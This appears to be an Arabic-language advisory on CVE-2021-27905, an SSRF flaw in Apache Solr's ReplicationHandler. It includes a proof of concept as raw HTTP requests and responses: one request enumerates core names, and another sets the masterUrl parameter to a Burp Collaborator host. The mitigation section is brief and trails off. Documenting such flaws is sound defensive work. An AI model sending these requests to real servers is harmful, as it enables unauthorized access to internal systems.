
[CVE-2021-27905] Apache Solr ReplicationHandler تزوير الطلبات من جانب الخادم (SSRF)
[CVE-2021-27905] Apache Solr ReplicationHandler - ثغرة تزوير الطلب من جانب الخادم (SSRF)
Hit Counter
Apache Solr (وهي اختصار لعبارة Searching On Lucene with Replication) هو محرك بحث مجاني ومفتوح المصدر مبني على مكتبة Apache Lucene. وهو مكتوب بلغة Java. يوفر Apache Solr واجهات برمجة تطبيقات RESTful بتنسيق XML/HTTP وJSON، بالإضافة إلى مكتبات عملاء للعديد من لغات البرمجة مثل Java وPhyton وRuby وC# وPHP وغيرها الكثير، وتُستخدم هذه المكتبات لبناء تطبيقات قائمة على البحث وتحليلات البيانات الضخمة للمواقع الإلكترونية وقواعد البيانات والملفات وغيرها.
Apache Solr all versions prior to 8.8.2 (7.0.0 to 7.7.3 and 8.0.0 to 8.8.1) معرضة لثغرة Server Side Request Forgery (SSRF). الاستغلال الناجح لهذه الثغرة قد يؤدي إلى إجراءات غير مصرح بها أو الوصول إلى البيانات داخل المؤسسة، سواء في التطبيق الضعيف نفسه أو في أنظمة خلفية أخرى يمكن للتطبيق التواصل معها.
يحتوي ReplicationHandler (المسجَّل عادةً في /replication ضمن نواة Solr) على معامل masterUrl (يُعرف أيضًا بالاسم البديل leaderUrl) يُستخدم لتعيين ReplicationHandler آخر على نواة Solr أخرى لنسخ بيانات الفهرس إلى النواة المحلية. لمنع ثغرة SSRF، كان ينبغي على Solr التحقق من هذه المعاملات مقابل إعداد مماثل يستخدمه للمعامل shards. وقبل إصلاح هذه الثغرة، لم يكن Solr يفعل ذلك.
إثبات المفهوم (PoC): لاستغلال هذه الثغرة، يجب على المهاجم معرفة اسم النواة على Apache Solr. لذلك يمكن استخدام الطلب التالي لتحديد اسم/أسماء النواة.
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

بعد تحديد أسماء النوى، اختر واحدًا منها وأرسل طلبًا إلى نقطة النهاية هذه: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


التخفيف: يكفي أي من الإجراءات التالية لمنع هذه الثغرة
8.8.2 أو أحدث.المراجع: